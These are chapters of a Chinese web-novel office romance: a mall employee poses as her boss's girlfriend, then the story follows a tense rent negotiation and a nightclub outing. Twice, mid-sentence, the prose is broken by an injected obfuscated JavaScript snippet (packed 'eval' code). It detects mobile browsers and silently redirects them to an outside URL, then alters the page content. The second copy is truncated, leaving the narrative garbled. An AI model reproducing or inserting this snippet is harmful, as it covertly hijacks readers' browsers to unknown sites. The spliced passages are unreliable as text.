许昭弥来到餐桌前,何阿姨为她把餐具摆好,把香喷喷的椰香糯米饭拆开,她道了声谢接过,低头规规矩矩地品尝着,耳朵却竖得老高,一门心思偷听着那头的八卦。 动静还真不小。许昭弥有些惊讶,没想到陆以宁在家里和上班时的反差竟然如此之大,冰山霸总回到家后就变得跟《家有儿女》里的刘星似的,还挺好笑是怎么回事? 没一会儿,沙发那边就没了声了。陆以宁的声音突然在许昭弥身后响起,“好吃吗?” 许昭弥吓了一跳,嘴里还含着一口糯米饭没来得及下咽,只能摇了摇头,摇完又觉得意思不对,便慌慌 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陆以宁并没有吃那些甜倒牙的糯米盛宴。他觉得他老娘真的毫无烹饪天赋,谁家做甜品会做一桌子糯米出来?我的老天,有个傻姑娘还每样都不多不少地吃掉一半。不但吃得津津有味,还在陆曼青面前一个劲儿地夸赞她的厨艺堪比米其林三星主厨。她吃过米其林吗? 他就坐在餐桌边,喝了杯热牛奶,一手拿着手机处理工作消息,偶尔抬头往客厅那边扫上两眼,看到陆曼青和许昭弥又不知道聊到什么没营养的段子时一起哈哈大笑,就皱起眉头。 不过,倒是挺温馨的。 十点左右,两个人一起出门。陆曼青再三叮嘱陆以宁,要他把弥弥安全送到家。 “知道了,啰里啰嗦。”陆以宁这样说着,突然握住了许昭弥的手腕,把她往自己身边带了一下。 人都是会有下意识反应的。就比如现在,陆以宁掌心的温度突然贴在她的皮肤上,带来亲密的触感,让她下意识地像只触电的小猫,浑身的毛都炸了起来,想躲,却又被他迅速展开臂膀稳稳地搂住。 她心跳得有点厉害,但不能让自己表现出来。她觉得在装样子这方面陆以宁可谓如鱼得水,她要向他学习。 稳了稳心神,许昭弥抬起头来,微笑和陆曼青告别:“我走了阿姨,改天再来看您。” 刚刚还亲密无间的“小情侣”,一进入车内便立刻松开了彼此。许昭弥往车门方向挪了挪,低下头,默默系上安全带。陆以宁则轻咳一声,也没再说话,安静发动了车子。 车子开出小区后,陆以宁将手机递给许昭弥。 “把你家地址输进去。” “哦。”许昭弥接过手机,正准备输入地址时,屏幕上突然弹出了来电显示。 当看到“安旎”两个字时,她像捧着烫手山芋般,吓得差点把手机扔出去。 许昭弥赶忙恭恭敬敬地将手机递还给陆以宁,说道:“您的电话……”还偷偷观察他的反应。 陆以宁皱着眉头,瞥了屏幕一眼,看起来并不是很想接。许昭弥立刻就悟了!一定是因为有她这个外人在,所以不方便接听私人电话。她体贴地朝他打了个手势,指了指前面的地铁站。 陆以宁有时候其实挺烦她这种自作聪明的行为,这让她显得不仅蠢,而且蠢得格外明显。电话铃声一声又一声地响着,还在坚持不懈地和他较着劲。许昭弥又适时体贴地来了一句:“您赶快接电话吧,我坐地铁回去就行,您受累把我放到前面地铁站就可以……” “下车。”陆以宁方向盘一打,直接靠边停车。这里离地铁站大概还有几百米的距离呢,他都懒得再送她。许昭弥也没和他计较,抱着包包就下了车,临走时还对他笑着说了句谢谢:“您快接电话吧!” “……” 眼看许昭弥下了车一溜小跑,终于跑进了地铁站,他才吐出一口浊气,按下了接听按键。 …… 许昭弥回到家时都快十一点了。她照常进行卸妆洗漱,收拾完毕后爬上自己温馨的小床。接着从床头柜里掏出笔记本,她在算一笔账,盘算着自己要工作多久才能攒到一百万,把房子的首付钱挣出来。 她一直有个梦想,那就是挣很多的钱,有朝一日能把早些年家里卖掉的老宅子买回来。 当年爷爷为了供她爸爸和几个叔叔读书,无奈之下卖掉了祖传的老宅。如今爷爷年纪大了,最大的心愿就是能够再回到老房子里住一住,可现在的房价早已翻了不知多少倍。许昭弥自毕业后,就一直朝着这个目标努力,她省吃俭用,积攒工资,就是期望有一天能实现爷爷的心愿。 临睡前收到陆以宁转来的加班费,一共两个小时,四千块钱。许昭弥回了一个“谢谢老板”的表情包,把这笔钱转入一张固定的银行卡里,再认认真真记到笔记本上。 她望着这笔小巨款有一点发呆,不知心里在胡思乱想什么。下巴枕在手臂上,不知不觉闭上了眼睛,这一晚她就这样进入了梦乡。 4. 便利贴与荒原狼04 还不到五点,天还黑沉沉的,许昭弥的手机就响了,是负一层的一家港式茶餐厅的厨房突然发生了漏水事故。 等许昭弥赶到时,工程部的两个师傅已经在抢修中。整个厨房乱成一锅粥,看样子不但水管爆裂,就连电路也遭了殃,显然不是个小麻烦。 很快餐厅经理也赶了过来,拉着许昭弥的手一通抱怨,一会儿指责管道质量不好,一会儿又埋怨物业平时维修不及时,最后一个劲地催促许昭弥赶紧把事情处理好。 两位师傅也确实很不容易,毕竟是夜班,人手也不太够,俩人一刻不停地忙活着。许昭弥不好意思催师傅,但心里挺着急,干脆直接挽起袖子,主动过去给师傅们帮忙。 正忙活着,中间的喷头突然爆了,对着许昭弥的脑袋来了个三百六十度全方位袭击。等水管终于修好,许昭弥上半身也都湿透了。 一大早忙活到上班时间,商铺陆续开门,许昭弥赶回更衣室换工服。途中路过快递柜,又帮大家取了快递,她左右手夹着大包小包的纸盒,头发还湿哒哒的,正在员工通道等电梯,贝诗楠就给她发来信息轰炸:“弥宝你在哪呢?怎么还没来啊?九点陆总要给咱开部门会你忘了吗!大魔头都等皱眉了!” 陆以宁这人有个毛病,随心所欲地安排开会。比如有时心血来潮,突然就让秘书通知大家十分钟后开会,那么十分钟后,不管别人在做什么都必须到场,还得准时。就像刚刚,秘书八点四十在群里发通知,九点陆总要给营运部开部门会。八点四十的时候,许昭弥还在跟喷头作斗争呢,自然没看到。 这点挺让人讨厌的,然而许昭弥可没资格讨厌他。她知道他的脾气,更是不敢有丝毫耽误,急忙跑回部门。隔着玻璃瞧见会议室里有人影,许昭弥连衣服都没来得及换,便赶紧放下快递,拿起笔记本,敲门后走了进去。 陆以宁的眼神从腕表上移开,落在门口的许昭弥身上。他闭了闭眼,又再次睁开,觉得自己见鬼了,还他妈是个女鬼。 “头发怎么了?” “今天早上租户厨房漏水了,陆总,我去帮忙修管道,刚刚才修好。”许昭弥一边回答,一边解释自己迟到的原因。 陆以宁伸手朝秘书面前的桌子叩了叩,眉头皱得像座小山,“通知物业部今天原地解散。” 话一出口,所有人瞬间紧张起来,一脸懵逼,不知道发生了什么。紧接着又听他对许昭弥开口,“你这么厉害,水管都会修,还要物业干什么?” 贝诗楠:“……” 大姚:“……” 其他人都低着头,想笑又不敢笑。 “还不走?”陆以宁已经准备开会了,见许昭弥还在门口杵着,抬头语气不悦,“回去换衣服,把头发擦干净,什么形象。” 最后四个字真的是很苛薄了。当着全体员工的面这么说一个女孩子,许昭弥有点委屈,她觉得自己做的是本职工作,却被领导批评得像是多管闲事一样。 部门会很短暂,等许昭弥从更衣室换好工服回来后,会都结束了,贝诗楠把她拉到卫生间吐槽。 “刚刚会上大魔头特凶,跟要吃人似的,你没在可真是太对了。”贝诗楠模仿陆以宁的口气,眉头拧在一起,手握拳当话筒,“截至昨日,项目收缴率83.7%,较集团EBITDA基准线低11.3个百分点,在47个同类项目中排第36位——这是极为不理想的成绩,本月如果不能将收缴率拉回95%,那么抱歉,大家的季度奖金将会按照绩效比例同步扣减,对此各位有什么意见吗?” “靠,那种场合谁敢说有问题啊?”贝诗楠拍拍许昭弥的背,“他还特别点了我,说我收缴率最差。” 许昭弥想了想,觉得这是陆以宁能干出来的事,资本家本质上都是周扒皮。她安慰贝诗楠,“没事儿啊,现在刚月中,咱还有时间,我帮你一块催。” “那跟我去趟‘水货’那儿呗,我去拿催缴函!” “水货”就是贝诗楠给那家培训机构店长起的外号。用她的话说,连租金都赖着不给的人,根本不配为人师表。 两人拿上催缴函,去往六楼培训中心。 “我前天帮你打电话催了,听说他们负责人今天会来,咱们一会儿可以直接去找他谈。”许昭弥边走边给贝诗楠出主意。她负责的租户里没有这么难缠的,租金催个一两次后基本都能按时缴纳,平时遇到的也都是些小问题,这也是她头一回碰到这么棘手的情况。 不过她还是鼓励贝诗楠,让她别紧张:“这应该是咱们第三次给他发催缴函了吧?下一步要是还不行咱们就向上面申请给他发律师函,我觉得他们也不想把事情闹到那一步。” 贝诗楠点点头,“成!” 话虽这么说,可其实她们都知道,很少有商场会因为租金问题和租户闹到打官司的地步。毕竟打官司成本太大,又耗费时又耗钱的,对商场来说大多是得不偿失。通常情况下,最后都会有一些妥协的空间。即使租金不能全部缴清,只要能缴纳一部分,使欠款不超过两个月的保证金,这就算是可以接受的底线了。 估计培训机构的老板也知道她们是吓唬人的,最后肯定拿不出什么实际行动来,另外他也可能有点什么背景,再加上贝诗楠一个小姑娘催收力度不够强硬,所以才会一直被拿捏。 俩人坐着扶梯,斗志满满来到六楼,到了培训机构店门口,和工作人员表明来意。 “不好意思,我们店长现在不在,我会帮您传达的。”店员小姑娘的语气还算客气,但她明显撒谎了。在她说话的瞬间,贝诗楠用余光瞥见里面办公室的门悄然朝里掩了一下,世上哪有这么巧的事儿? “我看见他了!就在里面!”贝诗楠毫不犹豫地将催缴函拍在前台上,“快点把你们负责人喊出来,租金都拖欠这么久了,再不处理,我们就要走法律程序了!” “我们店长真的不在……您也知道,我们中心最近退费纠纷太多,我们账户都被法院冻结了……领导也一直在想办法……” 贝诗楠气死了,眼看就要冲进去找里面的缩头乌龟当面对峙,许昭弥见状,赶忙拉住她,毕竟她们是来解决问题的,而不是吵架。 她转过身,对着店员小姐姐耐心讲道理:“麻烦您给您领导打个电话,问问他什么时候过来。告诉他商管工作人员过来谈租金的事情,我们就在这里等他。大家都不容易,互相理解一下,一起找到一个合适的解决办法才是最好的。” 贝诗楠点头附和,“对!你给他打电话,反正我今天没事儿,就坐在这等!” 小姑娘一脸为难说请她们稍等。 知道她是在演戏,贝诗楠也不拆穿她。拉着许昭弥手到门口等。 隔壁是家化妆品店,门口立着一个崭新的代言人人形立牌。贝诗楠眼一撇,注意力立刻被转移,“这不是安旎吗!” 许昭弥也围过去看,激动的什么一样,两个人煞有介事地瞅了一会儿,又不是真人,多少有点没出息了。 “好漂亮哇!”许昭弥真心赞美。安旎就是那种纯天然的大美女,一双电眼好似芭比娃娃一样,怪不得刚一出道就被称作宅男女神。 两人几乎同时想到了某个人。许昭弥心中腹诽,真没想到那个谁看起来一本正经,实际心里这么闷骚,竟然喜欢安旎这样的大眼萌妹。 “你说陆总跟安旎到底什么关系?”许昭弥难得八卦,没想到却被当事人抓了个正着,阴森森的嗓音从背后突然响起,“想知道?直接问我不就好了?” 吓得她头皮发麻,“嗖”地一下转过身,和贝诗楠一起齐刷刷地喊了声“陆总好”。 陆以宁眼神像看两个废物一样,眼皮略略一掀,扫了她们一眼,抬脚便走了进去。 身后跟着两名法务部同事。 进的正是那家培训中心。 陆以宁抬手示意法务上前,沉声道:“根据《民法典》第721条及租赁合同第9.4款,贵方拖欠租金已触发单方面解约条款。这是解约通知书——”他指尖敲了敲文件,“正式流程会在七个工作日后启动。当然,贵司可在收到本通知后48小时内提出书面异议。” 法务拿执法记录仪全程录像,确保通知已给到,及时补充老板的话,“若有任何疑问或需要进一步沟通的地方,请及时与我司法务部联系。” 小姐姐哪里见过这等阵仗?吓得额头冒汗,差点当场哭出来。 “请您稍等,我这就联系我们负责人,他马上就来——” 话音未落,里面办公室的门便被推开,一名中年男子快步走出,满脸假笑迎上前,伸手向陆以宁谄媚地握手,“陆总?有失远迎有失远迎!您看我刚刚一直在和总部进行线上会议,也是在申请纾困基金呐,所以才特意吩咐前台说我不在,真不是故意躲着您,小年轻不懂事,没认出您实在抱歉。” 毕竟是领导,表面功夫确实有一套,三言两语就解释了刚刚“不在”的原因。陆以宁也没必要拆穿他,笑着同他握手,不紧不慢开口道:“不碍事,那我们里面谈?” “里面请,里面请。” 陆以宁回头瞥了眼门口的哼哈二将,俩人竟然还没有抬脚的意思。 “不进来?”两个蠢蛋,等着他请呢? “哦哦!”许昭弥和贝诗楠立刻反应过来,紧跟在他后面走了进去。 会议室的LED灯管嗡嗡作响,两拨人马分坐长桌两侧,开局以领导间的两句闲聊拉开序幕。 “尝尝明前龙井?”水货儿将紫砂壶倾斜45度,笑着给他倒茶,“我们搞教育的比不得陆总,只能拿碎茶叶沫子苦熬。” “张总说笑了。”陆以宁屈指叩了叩一次性纸杯,不动声色勾勾唇角,“上季度学知在线给您旗下四家门店的导流费,够您买半吨金骏眉了吧?” “……” 许昭弥心里哇了一声,心想陆总不会上来就要放大招吧?这也太敢说了吧。 和贝诗楠默默对视一眼,两个人心里都有那么一点紧张。 觉得好刺激。 “陆总真会开玩笑。”水货坐回对面,尴尬地呵呵两声。 “是吗,那就说点正经事。”陆以宁随即从公文夹里抽出一张税务局的《跨区经营备案回执》,对他说,“贵司用西城区书法培训资质在潞城开设奥数班,被消费者举报了十二次,这事儿您应该知道吧?” 他接过法务部提前整理的投诉材料,屏幕上正是家长群的聊天记录。 “正好今天有几位投诉人在我办公室做了笔录,需要帮您预约个说明会吗?” “……” 我靠,果然大招连发! 许昭弥瞥见水货的额头上已经开始冒了汗,这才短短五分钟而已! 水货尴尬地给自己点了根烟,吐了一口说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228087|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我没记错的话,陆总应该刚调来潞城不久,不太清楚在咱们机构的具体情况,不知道陆总今天来之前,有没有和坤总打过招呼?” 听到“坤总”大名,贝诗楠心里靠了一声。和许昭弥对视一眼,许昭弥眨眨眼,示意她淡定。 坤总是她们副总,主管招商的,自从潞城这个项目刚开业就在了,实属资历雄厚的老人了。 没想到丫竟然是水货的靠台。 陆以宁只是笑了笑,“他昨天才向我汇报,说是续约率不到60%的招商经理该考虑末位淘汰了。”紧接着又将文件转了个方向,回归正题,“顺便提醒您,贵司租赁合同第3.2款明确约定——” “若因承租方违规经营导致行政处罚,出租方有权收取双倍保证金。” …… 总之那天那场谈判实在精彩,最后是怎么结束的,许昭弥自己都记不清了。 她只记得水货儿最后拍胸脯保证一定想办法在一周内付清全部款项,还当场打电话给财务先支付了拖欠的一半租金。 不仅如此,最后还客客气气笑脸相迎地送他们出去,交了钱后态度反而好的跟孙子一样,许昭弥实在是对陆以宁佩服得五体投地。 果然老板就是老板,不然人家怎么能成为老板呢? 那天陆以宁带着法务亲自去了四家店谈判,这四家店都是大姚报上去的“刺头租户”,没想到,他仅仅用了一个下午就把问题都解决了。 大家早上还在发愁,下午就感动得热泪盈眶。谁能想到老板会亲自上阵,帮小虾米们解决老大难问题呢?这件事对贝诗楠的冲击尤其大,回到部门后,她就一个劲儿地捶足顿胸,给大家表演头号脑残粉: “陆总太他妈有魄力了!以后他就是我男神,是偶像!是我唯一的神!” 许昭弥忍不住想笑:“你不是昨天刚对他幻想破灭?” “有吗?有吗?”贝诗楠眨巴着眼,坚决不承认,“不传谣不信谣!从我做起,自觉抵制网络谣言!哪天我要是睡了男神,就给他正名!” “哇哦。”许昭弥默默给她竖大拇指,“好伟大的志向耶!” “必须的!” 逗得许昭弥抿嘴笑。 许昭弥最近都是白班,所以到了五点就可以走了。 临下班的时候,许昭弥看了看微信,没收到陆以宁任何消息,想着今天应该没什么“任务”,难得今天也没有什么工作要加班做,于是就开始收拾东西准备下班。 正好曲琳琳给她发来微信:【今天大飞在黑匣子演出,来听不?】 说实话,许昭弥还真是有点想去。曲琳琳和大飞都是她的发小,他们三人自幼一起长大,长辈之间的关系也非常好。高中毕业那年,曲琳琳和许昭弥相约一起考到潞城。大飞学习不好,没考上大学,便也来到潞城打工。就这样,三个人又聚在了一起。 这几年因为有两个发小的陪伴,许昭弥在潞城即使背井离乡也不觉得有多孤单。大飞虽然学习成绩不好,但是很有才艺,会弹吉还会唱歌,一直在酒吧担任驻唱歌手。前一阵子他还说有个经纪公司看中他了,想签他当艺人呢。也不知现在情况怎样了,许昭弥最近工作太忙,好久没见到他俩,此刻就迫不及待地想去找他们聊天。 临走的时候她还是给陆以宁发了条消息:【陆总,今天我正常下班,阿姨那边要是没什么事,我就回家啦?】 【陆总?】 许昭弥连发了两条,等了五分钟,抱着包包坐在工位心急如焚地往他办公室的方向看。陆以宁此刻正坐在办公桌前打电话,看见她的信息,也看见她那拨浪鼓似的脑袋瓜了,但他没理,转椅一转背过身去继续接电话。 等电话挂断,回过头来,发现她的工位上已经没人了。 溜的倒是快。 不知怎么的,心里突然就有点生气,本来今天没打算回家的,手却不知不觉拿起了手机,拨通了许昭弥的电话。 “走了?” 许昭弥在地铁上呢,信号断断续续的,“啊对……您没回我……我就走了……怎么了陆总?” “还能回吗?” “不太能了!”她要去看大飞演出!但她不能说,因为黑匣子是夜店,在她浅薄的意识里,好员工是不能去夜店的,可见她那时是多么愚蠢。她甚至还撒了一个很可笑的谎话——“我……我报了夜校的培训……” “夜校?” “嗯呢……” “培训什么?” 许昭弥支支吾吾:“职、职场沟通技巧……” 陆以宁“嗬”了一声,说是该培训。每天被租户使唤来使唤去,催租的时候被耍得跟孙子似的,一丁点沟通谈判的能力都没有。 “去吧。”挂了电话,陆以宁突然觉得心里有点空落落的。在这样一个不用加班的夜晚,他竟然生出了这样的感觉。他向来不是个多愁善感的人,这种感觉让他觉得非常糟糕。 于是他又拿起手机给骆弋舟打去电话,喊他出来喝酒。 骆弋舟是潞城著名富二代,家族实力本就雄厚,自身又极富野心。他涉足多个行业,尤其是在餐饮业经营得风生水起,莲花就有他入驻的品牌餐厅。此外他还以玩票性质开了几家酒吧。 这会儿正在黑匣子里嗨呢,接到陆以宁电话,不知怎么就那么兴奋,“成啊,来我这儿,哥们陪你喝几杯!” 5. 便利贴与荒原狼05 许昭弥赶到黑匣子时,曲琳琳已经在门口等着迎接她了。 傻乎乎一姑娘,站在时尚招牌下,东张西望的,身上那件裙子也朴素,显得和周围环境格格不入。 等许昭弥冲过去和她抱在一起的时候,就变成了两个傻姑娘一起格格不入。 “你怎么出来啦?” “里面晕头转向的,我怕你找不着,特地出来接你!” 曲琳琳搂着许昭弥的胳膊,两人开开心心往里走。 进到里面,要先过一个地下楼梯。楼梯昏暗狭窄,时不时就会看到男男女女搂在一起旁若无人地亲热。许昭弥不好意思看,拽着曲琳琳的手飞快往下走。越是往下,音乐声就越是清晰,最后简直到震耳欲聋的程度。 “那边那边,大飞给咱定的卡座,酒水全包,还有小吃呢!” “出息了大飞!” 到了卡座坐好,许昭弥率先吃了一瓣橙子,酸得龇牙咧嘴。这个位置不算特别好,但角度还不错,能清楚看到舞台一侧。这会儿舞台上有其他歌手在唱歌,是很有感觉的靡靡之音,歌手看着也很年轻,应该是个兼职的大学生。许昭弥听得有点入神,忽然就想到了大学的时候,她也加入过音乐社这样的社团。 那会儿潞大音乐社可是热门社团,有好几支超级火的校园乐队。当时的校花校草大多都是她们音乐社的成员。许昭弥在社团担任后勤委员,负责给乐队预定排练场地、制定排练时间以及处理各种杂务。那时她非常喜欢其中一支乐队的主唱,他会唱歌、会弹吉他、会打鼓,总之什么都会,很多女同学都为他疯狂过。 许昭弥也曾是暗恋大军中的一员,不过她比较幸运,能利用自己职务上的便利,到排练室偷看那个主唱排练。有时候排练室只有他一个人,他也会唱这样靡靡之音的小调。她呢,就假装抱着笔记本在教室后面清点乐器,其实早已听得入神。 舞台上一曲结束,接下来就轮到大飞上场。曲风突然变换,躁动的摇滚鼓点响起。大飞抱着吉他登上舞台,对着台下观众挥了挥手,还趁机向许昭弥和曲琳琳抛了个媚眼儿。他说道:“Hello everyone!大家准备好了吗?一首《Don''t Break My Heart》送给大家,祝大家今晚玩得愉快!” 许昭弥和曲琳琳像两个小粉丝一样,在台下疯狂鼓掌。 楼上vip包厢。陆以宁靠在沙发,手搭在栏杆上,脸色有些阴郁地盯着楼下某个方向。 “脸色怎么这么难看?”骆弋舟坐在他对面,招招手让服务员过来给两人把酒满上。他敬陆以宁,“来来,有什么烦心事儿跟哥们说说,让哥们也高兴一下。” 骆弋舟以为他是因为工作上的事儿心烦,毕竟这哥们在圈里是出了名的工作狂。哪会知道人家这会儿正盯着楼下某个女孩的身影双眼冒火星。 陆以宁喝了酒,那酒辛辣入喉,又渗着冰块的凉意,瞬间让胃里冰火两重天,感觉直冲大脑。他盯着许昭弥,从喉咙里硬生生挤出两个字:“没事。” 骆弋舟扭头看着台上的乐队,站起身来风骚地扭着屁股,他指着台上那几个年轻人说道:“怎么样?我亲自面试的,还成吧?” 陆以宁没发表看法。 骆弋舟就以为他是想到了什么,也跟着感慨,“我记着你大学时候也搞了个乐队吧?当时还挺轰动来着?” “不记得了。”陆以宁的眼神愈发深邃,如果仔细看,会看出他这会儿的眼神像要刀人。 不过骆大公子可不会看人脸色,他欠欠儿地补充:“可惜你没毕业就退学了,不然高低火一把啊!” 其实陆以宁的身世很少有人清楚。大多数人都只知道他生在港城,是在国外念的MBA,就以为他一直都在国外念书。实际上,他本科是在潞城大学读的,大二那年由于家里出了点事儿,他才退学去了国外。 骆弋舟是知道他家里当年变故的。刚刚嘴快,说的时候没想那么多,这会儿说完才意识到不妥,于是偷偷观察他脸色,怕勾起他心里那段伤心事。陆以宁呢?果然一副要死不活的表情,看得骆弋舟心里还挺过意不去的,于是坐过去拍拍他的背,“喝酒喝酒。”想就这么把话题揭过去。 陆以宁眯眼望向舞台方向。台下气氛超嗨,一曲终了,大飞突然从舞台跃下,飞奔到许昭弥身旁,硬是将她拽了上去,把话筒递到她嘴边,台下众人纷纷起哄。这其实是酒吧常有的观众互动环节,但许昭弥并不知道,她吓了一跳,红着脸推脱。 大飞大大咧咧搂着她,就像小时候玩过家家似的,执意要和她合唱一曲,曲琳琳也在下面跟着鼓掌。音乐响起,是一首情歌《广岛之恋》,大飞先唱,许昭弥被赶鸭子上架,只得红着脸颊捧起话筒,颤颤巍巍开口:“时光回弗转,空间易破碎,廿四个钟头个爱情,是伢一生难忘个美丽回忆……” 两人用的还都是家乡方言。 说实话,她唱歌是真不行,声音又抖又小,还有些跑调,然而下面几乎没有一个人笑她,为什么呢?因为她唱歌的音色实在太好听了,就像是黄鹂出谷,还带着那么几分江南人特有的温婉韵味,清纯自然不做作,就是这么一点质朴风味的吴侬软语,在灯红酒绿中尤其让人耳目一新,越听越别有一番风情。掌声越来越热烈。 不只是台下,连包厢里的陆以宁也有点意外。他平时虽然嘴毒了些,却也不吝啬表扬。就比如现在,他承认许昭弥唱歌是有一点好听的,好听的歌声总能让人心情愉悦。可他却并未如此,这几句江南软语反而唱得他心里的火气越烧越旺。 “可以啊。”骆弋舟也站起来凑热闹。楼上视野比楼下好,VIP包厢又正好面对舞台,演员的一颦一笑都看得尤其清楚,骆弋舟瞧着瞧着,忽然就觉得台上那姑娘有点眼熟,“我怎么好像在哪见过她?” 陆以宁轻嗬一声说道:“或许吧,八成去你店里修水管时遇到过。”不忘借机埋汰许昭弥。 骆弋舟在莲花有家融合店,平时很少亲自过去,只在逢年过节象征性地过去溜达一圈,巡视一下店面。他这老板当的可是无比随性。 陆以宁嘴上说着没事儿,实际却并不如此。他心里都快气炸了,尤其许昭弥那娇小玲珑的身姿依偎在一米八几的大高个身边,小鸟依人一样,歌声越是娇滴滴,他就越发火冒三丈。之前怎么就觉得她乖巧听话好拿捏呢?前脚还在他妈面前扮温柔懂事乖乖女,转头就去泡夜店? 还他妈骗他是去上夜校? 可以啊许昭弥。您真行。 许昭弥哪里知道这会儿她在老板心里已经名誉扫地了?她现在只觉得自己心跳得厉害,快要喘不过气了。从舞台上臊着脸下来,急需一杯冰水降降温,曲琳琳立刻递给她一杯冷饮,许昭弥咕咚咕咚喝了两口,感觉终于活了过来。 没想到周围起哄的客人还想逗她,嚷嚷着让她再唱一曲。有个大哥,一身潮牌,看着挺有钱的,还给了她五百块钱小费,要她再唱一首。估计是喝多把她当成这儿的歌手了,许昭弥连忙拒绝:“不要不要,我不唱了,我也是来玩的……” 大哥走后,曲琳琳笑着调侃她:“行啊弥弥,最近挺有钱运呀!你不是要攒钱给爷爷买房吗?干脆来这兼职得了,我瞧着挣得能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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挂了电话,许昭弥瞬间清醒起来。不是,陆总为什么现在就要月度分析报告?她搞不懂,但她知道今晚她得熬夜加班了,喝下最后一口无醇莫吉托,柠檬薄荷的味道在口腔蔓延,许昭弥打起精神,收拾好包包,十分不好意思地给二位发小作揖:“得嘞,您二位慢聊,我要回去加班了。” 曲琳琳送她到门口,依依不舍和她告别,许昭弥拿出手机准备打车,打车之前和她抱了抱,“行啦,快进去吧,不是还有大飞陪你呢,咱俩改天再约。” 陆以宁的车子在黑暗里隐藏了那么一会儿,等曲琳琳进去后才若无其事地开过来,状不经意地从许昭弥身边开过,又一脚油门刹在她身边。 “好巧。”玻璃降下,他偏过头,胳膊搭在车窗外,漂亮的手指之间夹着一根香烟。 夜风将他的衣领吹得有些凌乱,他衬衫领口散的很大,扣子解开两颗,赤''裸裸地露着锁骨,他的皮肤可真白啊,竟然比女孩子还白,就显得有那么一点性感。 他唇角微挑,身上还漾着些微酒气,烟青色烟雾缭绕在他脸前,使人看不清他的双眸。他抽烟的样子有一点痞,又有一点说不清的风流,微眯的眼睛始终盯着某一处虚无、某个人影,然后嘴角发出一声嗤笑,“下课了?” 许昭弥的脸颊就像雷达一般变了颜色。说不清是被这句话吓的,还是被他的这副模样惊的。与其说是吓的,倒不如说是她第一次见到这样的陆以宁。 “去哪?顺路的话送你。”他含笑看她,看她如同受惊小鹿般的表情,心情就很愉悦,又对着空气吐了个烟圈。 许昭弥一定是被这个烟圈迷傻了,不然她怎么会傻到认为他真的要送她?而她还当真呆呆接了话,说了句回家,“如果您顺路的话……” “不顺路。”陆以宁耐心耗尽,不等她话说完就一脚油门开车走了,独留许昭弥一人在风中凌乱。 “……” 许昭弥反应过来,对着空气小猫挠痒痒似地挥了一拳头。 你大爷的。 6. 便利贴与荒原狼06 跑车飞驰在深夜的高架上,陆以宁打开车窗,收起顶棚,让自己尽情享受十一月的冷风。 他哼着歌,脚下油门踩得愈发深了,哼着哼着,忽然就乐了,觉得许昭弥这女人可真逗。 他在城东有套公寓,不想回家时便会去那里住。公寓的卫生平时由私人管家负责打理,何阿姨偶尔会过去帮他补充生活用品,但是也仅此而已,他的公寓依旧冷冰冰的没有一点人气。单身汉的生活说白了就是将就,所以陆曼青特别希望他能有个伴儿,最起码让生活有点温度。 车已经停在了公寓楼下,可他却突然改了主意,调转车头回了他妈那里。 这个时间陆曼青和何阿姨都已经休息了,陆以宁进门后也没去喊阿姨,他在楼下卫生间冲了个澡,就东倒西歪地躺在了沙发上。 这会儿酒劲儿上头,忽然就困了,甚至连卧室都没回,就这么在客厅里睡了一觉。 转天醒了,身上盖着毯子,厨房里有响动,阳光透过身后落地窗洒进来,晒得他身上暖洋洋的。陆以宁揉了揉眉心,缓慢睁开眼,看到何阿姨正在沙发前弯腰捡他滑落在地上的毯子,然后笑眯眯地抬头看他。 “醒了少爷?昨天是不是又去喝酒了?以后可别再喝这么多了,陆老师心疼您。” “她人呢?” 何晓娥朝厨房那边努了努下巴,笑盈盈道:“呐,一大早就开始忙活,说是要亲自给您煮粥呢!” 陆曼青亲自给他煮粥?这简直是百年难遇的大新闻。陆以宁有点感动,从沙发上起身,来到厨房门口,他抱肩倚在门框上,微眯着眼睛望着陆曼青在里面忙碌的身影,忽然就有点幸福的感觉了。 陆以宁瓮声翁气地开口:“妈,煮粥呢?” “是呀是呀,你好不容易回来一趟,正好我说给弥弥煮个粥,你顺便给她带过去。”陆曼青头都不抬地说。她做的是海鲜粥,砧板上放的全都是最好的食材,有干贝,有海参,还有龙虾和螃蟹,都是今天一大早通过冷链新鲜送到家的。 这会儿鲜味隐隐已经出来了。陆以宁皱眉:“不是给我做的?” “也没不让你喝啊!”陆曼青甚至都没空瞅他一眼。 陆以宁挺生气的,现在他妈眼里就只有那个女骗子。一大早就气的他胃疼,吃过早点后提着粥坐进车里,把保温盒往副驾一扔,开车去商场。开过路过垃圾桶时,甚至想把这破玩意从窗户里直接给扔出去。 后来还是没忍心,毕竟浪费粮食是可耻的,而他不屑去做一个可耻的人,于是就提回了办公室,随手往边上一推,就是没给许昭弥。 许昭弥熬了个大夜,转天顶着熊猫眼来上班。一到办公室,她就把报告打印出来,先给总监过目。总监确认没问题后,上班时间一到,她就敲响了陆以宁办公室的门。 “进。” 许昭弥将文件恭恭敬敬地放到他桌上,规矩地站在他面前:“陆总,这是您要的报告。” “你们总监呢?”陆以宁头也都没抬地说。 “总监让我来给您……”因为这份报告是她写的,但她不能明说,毕竟明说就有抢功之嫌,虽然这也算不上什么功绩。但毕竟苦劳也是劳,大姚就有这点好,对分配到手下的工作从不揽功。不像有的部门负责人,整天无所事事,把所有工作都分配给手下,到汇报工作时却把功劳都归于自己。 陆以宁突然抬起头来看她一眼,问了句:“你们部门没别人了?什么都你做?你全能?” 许昭弥当场愣了一下,完全没想到陆以宁会问出这样的话来。 但陆以宁是真的不清楚吗?他怎么可能不清楚?昨天在群里要报告的时候,他就想到了,这个时间点能被姚雷找来加班的冤大头也就只有许昭弥这个傻子。他心里明镜似地,从一开始就知道,就是故意让她加班的。可这会儿瞧见她果真顶着一双熊猫眼来汇报工作,心中的火气不但没有熄灭半分,反倒如被浇了一桶油似的燃烧得更加猛烈。 “拿过来。” 